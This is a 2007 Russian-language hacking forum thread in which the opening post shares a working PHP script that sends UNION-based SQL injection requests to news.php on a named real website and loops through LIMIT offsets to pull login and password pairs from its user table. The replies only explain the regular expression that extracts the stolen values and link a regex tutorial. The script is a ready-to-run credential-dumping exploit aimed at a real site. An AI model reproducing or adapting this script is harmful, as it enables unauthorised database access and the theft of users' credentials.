Скрипт вывода данных из sql-injection

Discussion in 'PHP' started by злюка, 11 Mar 2007.

  1. злюка

    злюка Elder - Старейшина

    Joined:
    11 Nov 2005
    Messages:
    337
    Likes Received:
    132
    Reputations:
    69
    вот выкладывали на ачате такой скрипт, который по скуле перебирает limit'ом значения таблицы и выводит их.
    Code:
    <?
     echo "<pre>\n";
     @set_time_limit(0);
     @ini_set("display_errors","0");
     $hostname = gethostbyname('www.ixbt.com');
     function getid($limit)
     {
      global $hostname;
      $responce = "";
      $fsock    = fsockopen($hostname,80,$errnum,$errstr,2);
      $headers  = "GET http://www.ixbt.com/news/news.php?id=-99+union+select+1,2,CONCAT(CHAR(60,115,113,108,62)  ,login,CHAR(59),password,CHAR(60,47,115,113,108,62  )),4,5,6,7,8%20,9,10,11%20from%20user%20limit%20$l  imit,1/* HTTP/1.1\n";
      $headers .= "Host: www.ixbt.com\n";
      $headers .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n";
      $headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
      $headers .= "Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\n";
      $headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\n";
      $headers .= "Keep-Alive: 500\n";
      $headers .= "Connection: close\n";
      $headers .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
      fwrite   ($fsock,$headers);
      while    (!feof($fsock)) $responce .= fread($fsock,1024); 
      fclose   ($fsock);
     $patern = "#<[\s]*sql[\s]*>([^<]*)<[\s]*/sql[\s]*>#i";
    if(preg_match($patern, $responce, $rez)) echo $rez[1]; else echo 'Something not right...';
    }
    for($i=1;$i<32;$i++) {getid($i);echo "\n";}
    echo "</pre>";
    ?> 
    
    как я понимаю в параметре
    Code:
    $patern = "#<[\s]*sql[\s]*>([^<]*)<[\s]*/sql[\s]*>#i";
    мы определяем тэг в сурсе странице, в котором будем искать вывод значения инъекции , в данном случае тэг <sql></sql>. Не могли бы объяснить значение остальных переменных в patern'е, а то в пхп не силён.
     
    #1 злюка, 11 Mar 2007
    Last edited: 11 Mar 2007
  2. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    376
    Reputations:
    460
    Почитай про регулярные вырожения и все поймешь
     
  3. mR_LiNK[deface_0nl

    mR_LiNK[deface_0nl Elder - Старейшина

    Joined:
    12 Dec 2006
    Messages:
    147
    Likes Received:
    27
    Reputations:
    13
    ты все правильно понял

    #<[\s]*sql[\s]*>([^<]*)<[\s]*/sql[\s]*>#i

    # - символ разделитель;
    [\s] - любой пустой символ пробел или табуляция;
    * - означает 0 или больше повторений (квантификатор) (сответственно [\s]* означает один или несколько пробелов);
    ([^<*]) - в классе, задает все символы кроме указанного, т.е. кроме "<";
    i - модификатор (буквы в шаблоне совпадают с буквами и верхнего и нижнего регистра в строке)

    зы:: по RegExp информация неплохо дана здесь
    http://www.intuit.ru/department/pl/plphp/class/free/13/
     
    #3 mR_LiNK[deface_0nl, 12 Mar 2007
    Last edited: 12 Mar 2007
    3 people like this.